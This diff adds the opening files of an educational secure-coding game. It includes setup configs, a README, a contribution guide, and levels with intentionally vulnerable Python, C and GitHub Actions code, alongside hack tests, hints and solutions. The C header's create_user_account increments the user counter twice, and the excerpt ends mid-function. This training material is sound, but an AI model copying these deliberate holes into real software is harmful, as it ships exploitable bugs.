diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
new file mode 100644
index 0000000..b0061b3
--- /dev/null
+++ b/.devcontainer/devcontainer.json
@@ -0,0 +1,9 @@
+{
+ "onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev && pip3 install pyOpenSSL && pip3 install -r requirements.txt",
+ "customizations": {
+ "vscode": {
+ "extensions": ["ms-python.python", "ms-python.vscode-pylance", "ms-vscode.cpptools-extension-pack", "redhat.vscode-yaml", "golang.go"]
+ }
+ },
+ "postCreateCommand": "npm install --prefix Season-2/Level-4/ Season-2/Level-4/ && npm install --global mocha"
+}
\ No newline at end of file
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100644
index 0000000..8ac6b8c
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,6 @@
+version: 2
+updates:
+ - package-ecosystem: "github-actions"
+ directory: "/"
+ schedule:
+ interval: "monthly"
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
new file mode 100644
index 0000000..6abb0af
--- /dev/null
+++ b/.github/workflows/codeql-analysis.yml
@@ -0,0 +1,36 @@
+name: "CodeQL Analysis"
+
+on:
+ push:
+ branches: [main]
+ pull_request:
+ branches: [main]
+
+jobs:
+ analyze:
+ name: Analyze
+ runs-on: ubuntu-latest
+ permissions:
+ actions: read
+ contents: read
+ security-events: write
+
+ strategy:
+ fail-fast: false
+ matrix:
+ language: ['python', 'go', 'javascript']
+
+ steps:
+ - name: Checkout repository
+ uses: actions/checkout@v4
+
+ - name: Initialize CodeQL
+ uses: github/codeql-action/init@v3
+ with:
+ languages: ${{ matrix.language }}
+
+ - name: Autobuild
+ uses: github/codeql-action/autobuild@v3
+
+ - name: Perform CodeQL Analysis
+ uses: github/codeql-action/analyze@v3
diff --git a/.github/workflows/jarvis-code.yml b/.github/workflows/jarvis-code.yml
new file mode 100644
index 0000000..501fc80
--- /dev/null
+++ b/.github/workflows/jarvis-code.yml
@@ -0,0 +1,34 @@
+# //////////////////////////////////////////////////////////////////////////////////////////////////
+# /// ///
+# /// 1. Review the code in this file. Can you spot the bug? ///
+# /// 2. Fix the bug and push your solution so that GitHub Actions can run ///
+# /// 3. You successfully completed this level when .github/workflows/jarvis-hack.yml pass 🟢 ///
+# /// 4. If you get stuck, read the hint in hint-1.txt and try again ///
+# /// 5. If you need more guidance, read the hint in hint-2.txt and try again ///
+# /// 6. Compare your solution with solution.yml. Remember, there are several possible solutions ///
+# /// ///
+# //////////////////////////////////////////////////////////////////////////////////////////////////
+
+name: CODE - Jarvis Gone Wrong
+
+on:
+ push:
+ paths:
+ - ".github/workflows/jarvis-code.yml"
+
+jobs:
+ jarvis:
+ if: ${{ !github.event.repository.is_template }}
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read
+ steps:
+ - name: Check out code
+ uses: actions/checkout@v4
+ - name: Check GitHub Status
+ # Source of GitHub Action in line 30:
+ # https://github.com/dduzgun-security/secure-code-game-action
+ uses: dduzgun-security/secure-code-game-action@1c9ed9f1e57d7b8c4e9bfa8013fd54e322214eb4 # v2.0
+ with:
+ who-to-greet: "Jarvis, obviously ..."
+ get-token: "token-4db56ee8-dbec-46f3-96f5-32247695ab9b"
diff --git a/.github/workflows/jarvis-hack.yml b/.github/workflows/jarvis-hack.yml
new file mode 100644
index 0000000..a5df4a4
--- /dev/null
+++ b/.github/workflows/jarvis-hack.yml
@@ -0,0 +1,25 @@
+# This file is expected to fail ❌ upon push until you fix the bug
+# You successfully completed this level when this file pass 🟢 upon push
+name: HACK - Jarvis Gone Wrong
+
+on:
+ push:
+ paths:
+ - ".github/workflows/jarvis-code.yml"
+
+jobs:
+ jarvis:
+ if: ${{ !github.event.repository.is_template }}
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read
+ steps:
+ - name: Check out code
+ uses: actions/checkout@v4
+
+ - name: Check for insecure actions
+ run: |
+ if grep -q "uses: dduzgun-security/secure-code-game-action@" $GITHUB_WORKSPACE/.github/workflows/jarvis-code.yml; then
+ echo "Insecure action detected. Please remove it from your workflow."
+ exit 1
+ fi
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..0a5f00a
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,306 @@
+### VSCODE ###
+.vscode/*
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+!.vscode/*.code-snippets
+
+# Local History for Visual Studio Code
+.history/
+
+# Built Visual Studio Code Extensions
+*.vsix
+
+### PYTHON ###
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+*.pyc
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+### JAVASCRIPT ###
+# compiled output
+/dist
+/tmp
+/out-tsc
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# IDEs and editors
+.idea
+.project
+.classpath
+.c9/
+*.launch
+.settings/
+*.sublime-workspace
+
+# IDE - VSCode
+.vscode/*
+!.vscode/settings.json
+!.vscode/tasks.json
+!.vscode/launch.json
+!.vscode/extensions.json
+
+# misc
+.sass-cache
+connect.lock
+typings
+
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
+
+# next.js build output
+.next
+
+# Lerna
+lerna-debug.log
+
+# System Files
+.DS_Store
+Thumbs.db
+
+### C ###
+# Prerequisites
+*.d
+
+# Object files
+*.o
+*.ko
+*.obj
+*.elf
+
+# Linker output
+*.ilk
+*.map
+*.exp
+
+# Precompiled Headers
+*.gch
+*.pch
+
+# Libraries
+*.lib
+*.a
+*.la
+*.lo
+
+# Shared objects (inc. Windows DLLs)
+*.dll
+*.so
+*.so.*
+*.dylib
+
+# Executables
+*.exe
+*.out
+*.app
+*.i*86
+*.x86_64
+*.hex
+
+# Debug files
+*.dSYM/
+*.su
+*.idb
+*.pdb
+
+# Kernel Module Compile Results
+# *.mod*
+*.cmd
+.tmp_versions/
+modules.order
+Module.symvers
+Mkfile.old
+dkms.conf
\ No newline at end of file
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..40a5218
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,51 @@
+# Secure Code Game Contribution Guideline
+
+Thank you for your interest in contributing to the Secure Code Game. Let's collaborate and bring your ideas to life for a lasting impact on the global cybersecurity scene. Follow these guidelines:
+
+## 1. Review current proposals
+
+Make sure your idea was not already discussed. Consider joining [existing proposals](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) and contributing collaboratively instead of duplicating efforts.
+
+## 2. Create a new proposal
+
+Start a [new discussion](https://github.com/skills/secure-code-game/discussions/new?category=new-level-proposals) by providing, at the very least, the following elements:
+
+- **Vulnerability:** Propose a specific vulnerability that you would like to include in the game.
+- **Programming Language:** Specify the programming language you want to use for implementing the code.
+- **Scenario:** Describe the scenario where the vulnerability will be introduced.
+
+**Example:**
+
+👋 Hi, I would like to contribute a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript. The scenario involves an online forum where users can write responses through a text box, but input sanitization wasn't implemented securely. An attacker could exploit this by injecting malicious code, for example `>`.
+
+## Increase your proposal’s chances
+
+To increase the chances of your proposal being merged into the game, consider suggesting a vulnerability and programming language combination that we haven't yet included in the game or rejected in past discussions. While we welcome all contributions, you will have more chances for these popular vulnerabilities and programming languages:
+
+- **TypeScript/JavaScript:** Server-Side Request Forgery (SSRF), Broken Access Control, Cross-Site Request Forgery (CSRF)
+- **C#:** Server-Side Request Forgery (SSRF), Remote Code Execution, Insecure Deserialization, Cross-Site Request Forgery (CSRF)
+- **Java:** Broken Access Control, Remote Code Execution, Insecure Deserialization
+
+Please feel free to propose other vulnerabilities and programming languages or frameworks as well. For those looking for community feedback on an idea before opening a discussion, or for other collaborators and beta-testers, you can join our vibrant [Slack community](https://gh.io/securitylabslack) and engage in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+## 3. Submit a Pull Request
+
+Once your proposal receives approval in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals), you can proceed to submit a pull request (PR) to the game's [repository](https://github.com/skills/secure-code-game). Ensure that your PR follows the [file structure](https://github.com/skills/secure-code-game) conventions of the existing game levels. For example, if you're submitting a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript, your PR should include the following files:
+
+- storyline
+- code.js
+- hack.js
+- hint.js
+- solution.js
+- tests.js
+- dependencies in requirements.txt
+
+## Credit
+
+We highly appreciate your contribution to the Secure Code Game. As a token of our gratitude, we will prominently display your name at the beginning of the level you contribute, along with a clickable URL to your GitHub profile or another social media platform of your choice.
+
+## Additional Information
+
+- If you have any questions or need assistance, don't hesitate to ask for help in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) or from our [Slack community](https://gh.io/securitylabslack) at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+We appreciate your dedication to improving software security through the Secure Code Game 🎮 🔐
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..6c5bc3d
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,7 @@
+Copyright (c) GitHub, Inc.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..251ae3d
--- /dev/null
+++ b/README.md
@@ -0,0 +1,188 @@
+
+
+
+
+# Secure Code Game
+
+📣 **SEASON 2 JUST DROPPED! READY TO PLAY?** 📣
+
+_A GitHub Security Lab initiative, providing an in-repo learning experience, where learners secure intentionally vulnerable code. At the same time, this is an open source project that welcomes your [contributions](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md) as a way to give back to the community._
+
+
+
+
+
+## Welcome
+
+- **Who is this for**: Developers, students.
+- **What you'll learn**: How to spot and fix vulnerable patterns in real-world code, build security into your workflows, and understand security alerts generated against your code.
+- **What you'll build**: You will develop fixes on functional but vulnerable code.
+- **Prerequisites**: For the first season, you will need some knowledge of `python3` for most levels and `C` for Level 2. For the second season, you will need some knowledge of `GitHub Actions` for level 1, `go` for level 2, `python3` for level 3, and `javascript` for levels 4 and 5.
+- **How long**: Each season is five levels long and takes 2-9 hours to complete. The complete course has 2 seasons.
+
+### How to start this course
+
+
+
+[![start-course](https://user-images.githubusercontent.com/1221423/235727646-4a590299-ffe5-480d-8cd5-8194ea184546.svg)](https://github.com/new?template_owner=skills&template_name=secure-code-game&owner=%40me&name=skills-secure-code-game&description=My+clone+repository&visibility=public)
+
+1. Right-click **Start course** and open the link in a new tab.
+1. In the new tab, most of the prompts will automatically fill in for you.
+ - For owner, choose your personal account or an organization to host the repository.
+ - We recommend creating a public repository, as private repositories will [use Actions minutes](https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
+ - Scroll down and click the **Create repository** button at the bottom of the form.
+1. You can now proceed to the 🛠️ set up section.
+
+## 🛠️ The set up
+
+#### 🖥️ Using codespaces
+
+All levels are configured to run instantly with GitHub Codespaces. If you chose to use codespaces, be aware that this course **will count towards your 60 hours of monthly free allowance**. For more information about GitHub Codespaces, see the "[GitHub Codespaces overview](https://docs.github.com/en/codespaces/overview)." If you prefer to work locally, please follow the local installation guide in the next section.
+
+1. To create a codespace, click the **Code** drop down button in the upper-right of your repository navigation bar.
+1. Click **Create codespace on main**.
+1. After creating a codespace, relax and wait for VS Code extensions and background installations to complete. This should take less than three minutes.
+1. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file.
+
+Optional: We recommend these free-of-charge additional extensions, but we haven't pre-installed them for you:
+
+1. `github.copilot-labs` to receive AI-generated code explanations.
+1. `alexcvzz.vscode-sqlite` to visualize the SQL database created in Season-1/Level-4 and the effects of our exploits on its content.
+
+If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
+
+#### 💻 Local installation
+
+Please note: You don't need a local installation if you are using GitHub Codespaces.
+
+The following local installation guide is adapted to Debian/Ubuntu and CentOS/RHEL.
+
+1. Open your terminal.
+1. Install OpenLDAP headers needed to compile `python-ldap`, depending on your Linux distribution. Check by running:
+
+```bash
+uname -a
+```
+- For Debian/Ubuntu, run:
+```bash
+sudo apt-get update
+sudo apt-get install libldap2-dev libsasl2-dev
+```
+
+- For CentOS/RHEL, run:
+
+```bash
+sudo yum install python-devel openldap-devel
+```
+
+- For Archlinux, run:
+
+```bash
+sudo pacman -Sy libldap libsasl
+```
+
+- Then, for all of the above Linux distributions install `pyOpenSSL` by running:
+
+```bash
+pip3 install pyOpenSSL
+```
+
+Once installation has completed, clone your repository to your local machine and install required dependencies.
+
+1. From your repository, click the **Code** drop down button in the upper-right of your repository navigation bar.
+1. Select the `Local` tab from the menu.
+1. Copy your preferred URL.
+1. In your terminal, change the working directory to the location where you want the cloned directory.
+1. Type `git clone` and paste the copied URL.
+
+```
+$ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY
+```
+
+6. Press **Enter** to create your local clone.
+7. Change the working directory to the cloned directory.
+8. Install dependencies by running:
+
+```bash
+pip3 install -r requirements.txt
+```
+
+- Programming Languages
+
+1. To play Season 1, you will need to have `python3` and `c` installed.
+1. To play Season 2, you will need to have `yaml`, `go`, `python3` and `node` installed.
+
+If you are using VS Code locally, you can install the above programming languages through the editor extensions with these identifiers:
+
+1. `ms-python.python`
+1. `ms-python.vscode-pylance`
+1. `ms-vscode.cpptools-extension-pack`
+1. `redhat.vscode-yaml`
+1. `golang.go`
+
+Please note that for the `go` programming language, you need to perform an extra step, which is to visit the [official website](https://go.dev/dl/) and download the driver corresponding to your operating system.
+
+Now, it's necessary to install `node` to get the `npm` packages we have provided. To do so:
+
+1. Start by installing a package manager like `homebrew` by running:
+
+```bash
+/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+```
+
+2. Install `node`:
+
+```bash
+brew install node
+```
+Adapt the command to the package manager you have chosen if it's not homebrew.
+
+3. The `npm` packages needed are specified in `package.json` and `package-lock.json`. Navigate to the `secure-code-game` repository and install them by running:
+
+```bash
+npm install --prefix Season-2/Level-4/ Season-2/Level-4/ && npm install --global mocha
+```
+
+4. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file.
+
+We recommend these free-of-charge additional extensions:
+
+1. `github.copilot-labs` to receive AI-generated code explanations.
+1. `alexcvzz.vscode-sqlite` to visualize the SQL database created and the effects of our exploits on its content.
+
+For more information about cloning repositories, see "[Cloning a repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository)."
+
+
diff --git a/Season-1/Level-1/code.py b/Season-1/Level-1/code.py
new file mode 100644
index 0000000..127ef76
--- /dev/null
+++ b/Season-1/Level-1/code.py
@@ -0,0 +1,33 @@
+'''
+Welcome to Secure Code Game Season-1/Level-1!
+
+Follow the instructions below to get started:
+
+1. tests.py is passing but code.py is vulnerable
+2. Review the code. Can you spot the bug?
+3. Fix the code but ensure that tests.py passes
+4. Run hack.py and if passing then CONGRATS!
+5. If stuck then read the hint
+6. Compare your solution with solution.py
+'''
+
+from collections import namedtuple
+
+Order = namedtuple('Order', 'id, items')
+Item = namedtuple('Item', 'type, description, amount, quantity')
+
+def validorder(order: Order):
+ net = 0
+
+ for item in order.items:
+ if item.type == 'payment':
+ net += item.amount
+ elif item.type == 'product':
+ net -= item.amount * item.quantity
+ else:
+ return "Invalid item type: %s" % item.type
+
+ if net != 0:
+ return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, net)
+ else:
+ return "Order ID: %s - Full payment received!" % order.id
\ No newline at end of file
diff --git a/Season-1/Level-1/hack.py b/Season-1/Level-1/hack.py
new file mode 100644
index 0000000..595e256
--- /dev/null
+++ b/Season-1/Level-1/hack.py
@@ -0,0 +1,37 @@
+import unittest
+import code as c
+
+class TestOnlineStore(unittest.TestCase):
+
+ # Tricks the system and walks away with 1 television, despite valid payment & reimbursement
+ def test_6(self):
+ tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
+ payment = c.Item(type='payment', description='invoice_4', amount=1e19, quantity=1)
+ payback = c.Item(type='payment', description='payback_4', amount=-1e19, quantity=1)
+ order_4 = c.Order(id='4', items=[payment, tv_item, payback])
+ self.assertEqual(c.validorder(order_4), 'Order ID: 4 - Payment imbalance: $-1000.00')
+
+ # Valid payments that should add up correctly, but do not
+ def test_7(self):
+ small_item = c.Item(type='product', description='accessory', amount=3.3, quantity=1)
+ payment_1 = c.Item(type='payment', description='invoice_5_1', amount=1.1, quantity=1)
+ payment_2 = c.Item(type='payment', description='invoice_5_2', amount=2.2, quantity=1)
+ order_5 = c.Order(id='5', items=[small_item, payment_1, payment_2])
+ self.assertEqual(c.validorder(order_5), 'Order ID: 5 - Full payment received!')
+
+ # The total amount payable in an order should be limited
+ def test_8(self):
+ num_items = 12
+ items = [c.Item(type='product', description='tv', amount=99999, quantity=num_items)]
+ for i in range(num_items):
+ items.append(c.Item(type='payment', description='invoice_' + str(i), amount=99999, quantity=1))
+ order_1 = c.Order(id='1', items=items)
+ self.assertEqual(c.validorder(order_1), 'Total amount payable for an order exceeded')
+
+ # Put payments before products
+ items = items[1:] + [items[0]]
+ order_2 = c.Order(id='2', items=items)
+ self.assertEqual(c.validorder(order_2), 'Total amount payable for an order exceeded')
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-1/hint.js b/Season-1/Level-1/hint.js
new file mode 100644
index 0000000..f145f44
--- /dev/null
+++ b/Season-1/Level-1/hint.js
@@ -0,0 +1,6 @@
+// Example of underflow vulnerability in JS
+var a = 10000000000000000; // 16 zeroes, try with 15 zeroes ;)
+var b = 2;
+var c = 1;
+
+console.log(a + b - c - a);
\ No newline at end of file
diff --git a/Season-1/Level-1/solution.py b/Season-1/Level-1/solution.py
new file mode 100644
index 0000000..a9771e0
--- /dev/null
+++ b/Season-1/Level-1/solution.py
@@ -0,0 +1,82 @@
+from collections import namedtuple
+from decimal import Decimal
+
+Order = namedtuple('Order', 'id, items')
+Item = namedtuple('Item', 'type, description, amount, quantity')
+
+MAX_ITEM_AMOUNT = 100000 # maximum price of item in the shop
+MAX_QUANTITY = 100 # maximum quantity of an item in the shop
+MIN_QUANTITY = 0 # minimum quantity of an item in the shop
+MAX_TOTAL = 1e6 # maximum total amount accepted for an order
+
+def validorder(order):
+ payments = Decimal('0')
+ expenses = Decimal('0')
+
+ for item in order.items:
+ if item.type == 'payment':
+ # Sets a reasonable min & max value for the invoice amounts
+ if -MAX_ITEM_AMOUNT <= item.amount <= MAX_ITEM_AMOUNT:
+ payments += Decimal(str(item.amount))
+ elif item.type == 'product':
+ if type(item.quantity) is int and MIN_QUANTITY < item.quantity <= MAX_QUANTITY and MIN_QUANTITY < item.amount <= MAX_ITEM_AMOUNT:
+ expenses += Decimal(str(item.amount)) * item.quantity
+ else:
+ return "Invalid item type: %s" % item.type
+
+ if abs(payments) > MAX_TOTAL or expenses > MAX_TOTAL:
+ return "Total amount payable for an order exceeded"
+
+ if payments != expenses:
+ return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, payments - expenses)
+ else:
+ return "Order ID: %s - Full payment received!" % order.id
+
+# Solution explanation:
+
+# A floating-point underflow vulnerability.
+
+# In hack.py, the attacker tricked the system by supplying an extremely high
+# amount as a fake payment, immediately followed by a payment reversal.
+# The exploit passes a huge number, causing an underflow while subtracting the
+# cost of purchased items, resulting in a zero net.
+
+# It's a good practice to limit your system input to an acceptable range instead
+# of accepting any value.
+
+# We also need to protect from a scenario where the attacker sends a huge number
+# of items, resulting in a huge net. We can do this by limiting all variables
+# to reasonable values.
+
+# In addition, using floating-point data types for calculations involving financial
+# values causes unexpected rounding and comparison errors as it cannot represent
+# decimal numbers with the precision we expect.
+
+# For example, running `0.1 + 0.2` in the Python interpreter gives `0.30000000000000004`
+# instead of 0.3.
+
+# The solution to this is to use the Decimal type for calculations that should work
+# in the same way "as the arithmetic that people learn at school."
+# Learn more by reading Python's official documentation on Decimal:
+# (https://docs.python.org/3/library/decimal.html).
+
+# It is also necessary to convert the floating point values to string first before passing
+# it to the Decimal constructor. If the floating point value is passed to the Decimal
+# constructor, the rounded value is stored instead.
+
+# Compare the following examples from the interpreter:
+# >>> Decimal(0.3)
+# Decimal('0.299999999999999988897769753748434595763683319091796875')
+# >>> Decimal('0.3')
+# Decimal('0.3')
+
+# Input validation should be expanded to also check data types besides testing allowed range
+# of values. This specific bug, caused by using a non-integer quantity, might occur due to
+# insufficient attention to requirements engineering. While in certain contexts is acceptable
+# to buy a non-integer amount of an item (e.g. buy a fractional share), in the context of our
+# online shop we falsely placed trust to users for buying a positive integer of items only,
+# without malicious intend.
+
+
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
\ No newline at end of file
diff --git a/Season-1/Level-1/tests.py b/Season-1/Level-1/tests.py
new file mode 100644
index 0000000..0453f12
--- /dev/null
+++ b/Season-1/Level-1/tests.py
@@ -0,0 +1,43 @@
+import unittest
+import code as c
+
+class TestOnlineStore(unittest.TestCase):
+
+ # Example 1 - shows a valid and successful payment for a tv
+ def test_1(self):
+ tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
+ payment = c.Item(type='payment', description='invoice_1', amount=1000.00, quantity=1)
+ order_1 = c.Order(id='1', items=[payment, tv_item])
+ self.assertEqual(c.validorder(order_1), 'Order ID: 1 - Full payment received!')
+
+ # Example 2 - successfully detects payment imbalance as tv was never paid
+ def test_2(self):
+ tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
+ order_2 = c.Order(id='2', items=[tv_item])
+ self.assertEqual(c.validorder(order_2), 'Order ID: 2 - Payment imbalance: $-1000.00')
+
+ # Example 3 - successfully reimburses client for a return so payment imbalance exists
+ def test_3(self):
+ tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
+ payment = c.Item(type='payment', description='invoice_3', amount=1000.00, quantity=1)
+ payback = c.Item(type='payment', description='payback_3', amount=-1000.00, quantity=1)
+ order_3 = c.Order(id='3', items=[payment, tv_item, payback])
+ self.assertEqual(c.validorder(order_3), 'Order ID: 3 - Payment imbalance: $-1000.00')
+
+ # Example 4 - handles invalid input such as placing an invalid order for 1.5 device
+ def test_4(self):
+ tv = c.Item(type='product', description='tv', amount=1000, quantity=1.5)
+ order_1 = c.Order(id='1', items=[tv])
+ try:
+ c.validorder(order_1)
+ except:
+ self.fail("Invalid order detected")
+
+ # Example 5 - handles an invalid item type called 'service'
+ def test_5(self):
+ service = c.Item(type='service', description='order shipment', amount=100, quantity=1)
+ order_1 = c.Order(id='1', items=[service])
+ self.assertEqual(c.validorder(order_1), 'Invalid item type: service')
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-2/code.h b/Season-1/Level-2/code.h
new file mode 100644
index 0000000..ab90179
--- /dev/null
+++ b/Season-1/Level-2/code.h
@@ -0,0 +1,106 @@
+// Welcome to Secure Code Game Season-1/Level-2!
+
+// Follow the instructions below to get started:
+
+// 1. Perform code review. Can you spot the bug?
+// 2. Run tests.c to test the functionality
+// 3. Run hack.c and if passing then CONGRATS!
+// 4. Compare your solution with solution.c
+
+#include
+#include
+#include
+#include
+#include
+
+#define MAX_USERNAME_LEN 39
+#define SETTINGS_COUNT 10
+#define MAX_USERS 100
+#define INVALID_USER_ID -1
+
+// For simplicity, both the private (implementation specific) and the public (API) parts
+// of this application have been combined inside this header file. In the real-world, it
+// is expected for the public (API) parts only to be presented here. Therefore, for the
+// purpose of this level, please assume that the private (implementation specific) sections
+// of this file, would not be known to the non-privileged users of this application
+
+// Internal counter of user accounts
+int userid_next = 0;
+
+// The following structure is implementation-speicific and it's supposed to be unknown
+// to non-privileged users
+typedef struct {
+ bool isAdmin;
+ long userid;
+ char username[MAX_USERNAME_LEN + 1];
+ long setting[SETTINGS_COUNT];
+} user_account;
+
+// Simulates an internal store of active user accounts
+user_account *accounts[MAX_USERS];
+
+// The signatures of the following four functions together with the previously introduced
+// constants (see #DEFINEs) constitute the API of this module
+
+// Creates a new user account and returns it's unique identifier
+int create_user_account(bool isAdmin, const char *username) {
+ if (userid_next >= MAX_USERS) {
+ fprintf(stderr, "the maximum number of users have been exceeded");
+ return INVALID_USER_ID;
+ }
+
+ user_account *ua;
+ if (strlen(username) > MAX_USERNAME_LEN) {
+ fprintf(stderr, "the username is too long");
+ return INVALID_USER_ID;
+ }
+ ua = malloc(sizeof (user_account));
+ if (ua == NULL) {
+ fprintf(stderr, "malloc failed to allocate memory");
+ return INVALID_USER_ID;
+ }
+ ua->isAdmin = isAdmin;
+ ua->userid = userid_next++;
+ strcpy(ua->username, username);
+ memset(&ua->setting, 0, sizeof ua->setting);
+ accounts[userid_next] = ua;
+ return userid_next++;
+}
+
+// Updates the matching setting for the specified user and returns the status of the operation
+// A setting is some arbitrary string associated with an index as a key
+bool update_setting(int user_id, const char *index, const char *value) {
+ if (user_id < 0 || user_id >= MAX_USERS)
+ return false;
+
+ char *endptr;
+ long i, v;
+ i = strtol(index, &endptr, 10);
+ if (*endptr)
+ return false;
+
+ v = strtol(value, &endptr, 10);
+ if (*endptr || i >= SETTINGS_COUNT)
+ return false;
+ accounts[user_id]->setting[i] = v;
+ return true;
+}
+
+// Returns whether the specified user is an admin
+bool is_admin(int user_id) {
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return false;
+ }
+ return accounts[user_id]->isAdmin;
+}
+
+// Returns the username of the specified user
+const char* username(int user_id) {
